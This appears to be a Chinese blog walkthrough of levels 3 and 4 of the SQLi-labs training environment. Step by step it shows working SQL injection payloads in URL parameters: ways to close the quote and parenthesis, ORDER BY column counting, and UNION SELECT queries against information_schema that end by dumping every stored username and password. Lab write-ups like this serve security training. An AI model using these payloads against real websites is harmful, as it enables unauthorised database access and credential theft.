第三关:
刚进入此关卡,可以看到,显示提示让我们将"id"作为参数输入,并输入数字值
然而,没有找到输入框或搜索框,怎么办呢,我们可以在url地址栏中输入代码。
那么我们进行尝试输入 ?id=1 ---?用于传参

可以看到,系统显示出了两个数据:用户名"dumb"和密码"dumb"
这就说明,此网页是从前端获取数据后,在后端数据库中通过id的值取出对应的登录名和密码信息,说明这是一个动态页面,也就是说,可以进行sql注入。
那么,接下来我们来看看这个页面是否存在sql注入的漏洞。
假设后端的代码例如这样:
select login_name,password from users where id='$id'
我们尝试输入?id=1'-- -,
---------------在输入时注意切换为英文输入法,后端会识别英文与中文的符号--------------------
如果后端代码中参数用' '包裹起来,那么这样会闭合前面的包裹,并且用-- -注释掉后面的代码,
如果没有报错,那么说明系统的参数确实使用' '两个单引号将参数包裹起来了;
如果报错,说明后端代码中没有用两个单引号将参数包裹。

可以看到,报错了,并且提示是sql语句语法错误,说明后端没有用两个单引号将参数包裹
----------注意:在url栏中,单引号会被转义成%27,空格会转义成%20---------------
##在第一关中,数据是用两个单引号将参数包裹的
接下来,我们尝试在参数后面添加一个)右括号,同样的目的和原理。依然注意输入法为英文。

系统正常查询出数据库中的数据并显示出来了,并且没有任何报错,说明数据是用两个小括号( )包裹起来的。
这样我们就可以在后面追加命令来进行更多操作。
接下来我们尝试加入布尔表达式来验证这一想法
输入?id=1) and 1=1-- -
1=1的值为真,所以执行应该成功

而如果输入?id=1) and 1=2-- -
1=2的值为假,那么执行应该报错

但是没有报错,并且正确查询到了参数,我们试试改变id的值呢,
输入?id=2) and 1=2-- -

还是查询出来的正确的用户名和密码,那说明漏洞没有成功注入,
那么我们尝试在id的值后面加上一个单引号,先尝试真值,
即输入?id=1') and 1=1-- -

正确查询出来并且没有报错,接下来尝试假值,
即输入?id=1') and 1=2-- -

可以看到,这一次没有正确查询出结果,说明成功了。
其实这里还有另一种方法,在id的值后面输入一个转义符号\

然后在报错信息中我们可以看到在id取值时,右边是有一个引号和一个右括号的')
接下来我们查看页面能最多显示几个参数,
输入?id=1') order by 3-- -

没有报错,接下来试试输入?id=1') order by 4-- -

报错了,说明最多查询三个字段,接下来看看查询出来的信息显示的对应位置
输入?id=-1') union select 1,2,3-- -

可以看到页面上显示查询的第二个字段和第三个字段,
接下来,我们查询数据库的版本信息
输入?id=-1') union select 1,2,version()-- -

数据库的版本大于5.0,可以通过information_schema库来查询其他数据库信息
接下来查询当前数据库名
输入?id=-1') union select 1,2,database()-- -

当前数据库名为security
然后通过information_schema库来查询此库里所有表名
输入?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -

查询到一共emails,referers,uagents,users四个表
接下来查询users表里含有哪些字段
输入?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- -

查询到很多字段名,我们查询username和password两个字段
输入?id=-1') union select 1,2,group_concat(username,'::',password) from users-- -
这里我们在查询的两个字段中加两个冒号来分隔,便于用户名与密码配对查看

查到多行数据,至此第三关算是通关了。
第四关:
前面的步骤同第三关,
通过转义字符

输入?id=-1") union select 1,2,3-- -

占位信息查询出来了,然后查询数据库名和字段名
输入?id=-1") union select 1,2,version()-- -查询数据库版本

查询到了数据库版本和第三关一致,
输入?id=-1") union select 1,2,database()-- -查询数据库名

数据库名依然是security
输入?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -

查到了所有表,
接下来查询users表里含有哪些字段
输入?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- -

依然是查询username和对应的password,
输入?id=-1") union select 1,2,group_concat(username,'::',password) from users-- -

查出了很多用户名与对应的密码,第四关完成。
本文详细介绍了SQL DUMB系列游戏中第三关和第四关的通关过程,重点展示了如何利用SQL注入技术进行数据库信息探测。通过尝试不同输入,作者揭示了后端代码的参数处理方式,成功找到了注入点,并最终获取了数据库的版本、表名、字段名以及用户信息。
26万+

被折叠的 条评论
为什么被折叠?



